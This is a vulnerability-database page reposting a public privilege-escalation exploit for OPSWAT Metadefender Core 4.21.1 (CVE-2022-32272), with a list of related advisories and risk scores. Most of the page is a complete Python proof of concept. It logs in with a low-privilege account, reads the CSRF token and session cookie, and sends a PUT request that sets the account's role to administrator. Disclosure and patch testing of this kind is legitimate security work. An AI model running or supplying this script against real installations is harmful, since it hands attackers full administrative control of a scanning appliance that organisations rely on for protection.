Lucene search
K

OPSWAT Metadefender Core - Privilege Escalation Exploit

🗓️ 28 Mar 2023 00:00:00Reported by Ulascan YildirimType 
zdt
 zdt
🔗 0day.today👁 188 Views

OPSWAT Metadefender Core Privilege Escalation Exploit on Windows and Linux, CVE-2022-32272, PoC for vulnerability. Login and execute commands with higher privileges.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-32272
9 Jun 202215:15
attackerkb
Circl
CVE-2022-32272
9 Jun 202218:33
circl
CNNVD
OPSWAT MetaDefender Core 安全漏洞
9 Jun 202200:00
cnnvd
CVE
CVE-2022-32272
9 Jun 202200:00
cve
Cvelist
CVE-2022-32272
9 Jun 202200:00
cvelist
Exploit DB
OPSWAT Metadefender Core - Privilege Escalation
28 Mar 202300:00
exploitdb
NVD
CVE-2022-32272
9 Jun 202215:15
nvd
OSV
CVE-2022-32272
9 Jun 202215:15
osv
Packet Storm
OPSWAT Metadefender Core 4.21.1 Privilege Escalation
28 Mar 202300:00
packetstorm
Prion
Privilege escalation
9 Jun 202215:15
prion
Rows per page
# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================

#!/usr/bin/env python3
import requests
import json
from getpass import getpass

url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
password = getpass("Password: ")

url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}

## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']

## Prepare Header & Cookie
headers = {
    "oms_csrf_token": token,
}
cookie = {
    "session_id_ometascan": session
}

## Set Payload to get Admin role
payload = '{"roles": ["1"]}'

response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))

if response.status_code == 200:
    print("Expolit Successful!")
else:
    print("Exploit Unsuccessful")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2023 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 27.5
CVSS 3.19.8
EPSS0.21198
188